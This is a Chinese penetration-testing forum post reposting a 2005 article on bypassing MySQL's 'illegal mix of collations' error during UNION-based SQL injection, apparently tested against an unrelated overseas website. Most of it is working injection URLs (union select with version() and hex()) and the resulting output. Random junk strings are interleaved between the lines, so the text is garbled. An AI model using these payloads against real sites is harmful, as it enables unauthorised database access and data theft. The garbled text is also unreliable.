中国网络渗透测试联盟
标题:
MySQL注射时ErrorNo.1267的突破
[打印本页]
作者:
admin
时间:
2012-9-15 14:04
标题:
MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei
2 b" S2 k4 U" `
文章性质:原创
$ \6 y6 ]* O0 \7 p
发布日期:2005-10-18
: G f. g1 U7 z% s" [$ l! ?+ E
测试个国外的站时:
! H% e" r' b/ g" {" B, p- C2 d
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
- G% S( ?6 p8 b: ?2 M/ R6 Z# z9 `7 W
返回错误:
8 {' N/ M/ @ d; x: M& E- P2 Q
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
( T* w5 U7 f& k" r/ n4 X- ?, j& o
MySQL Error No. 126
5 ^5 p% ^1 o/ z& e+ ^+ p; \+ s
看来是union查询前后字符集(
http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html
)不同出现的。
* B# x; ]% e+ z3 V
解决办法:转为其他编码如hex。
- b; z3 C7 G" G
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
: K# u; U/ E# _6 m- X1 ~5 k8 x: V
成功得到hex(version())的值为:
y* S' r6 o6 ]9 A$ n/ |5 H
342E312E332D62657461
$ K1 N) Q! ?& }
回Mysql查询下得到:
" W' W) a. X- ?0 O& `: g
mysql> select 0x342E312E332D62657461;
: e, A" M' `0 ]0 ^$ T7 z
+------------------------+
: ?- x. @0 \% I* V/ l4 W ^
| 0x342E312E332D62657461 |
5 O l( {+ U8 ]+ z& \: _
+------------------------+
* E; L' W, M$ m w3 l8 o6 e# A
| 4.1.3-beta |
* J) N+ a" E& p
+------------------------+
( \! Y" t' l- M# p
1 row in set (0.00 sec)
% E, t4 L! E7 v- p9 P5 k; C; T9 m
3 Z9 v/ d' t5 S: F' ^( f3 w. r
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2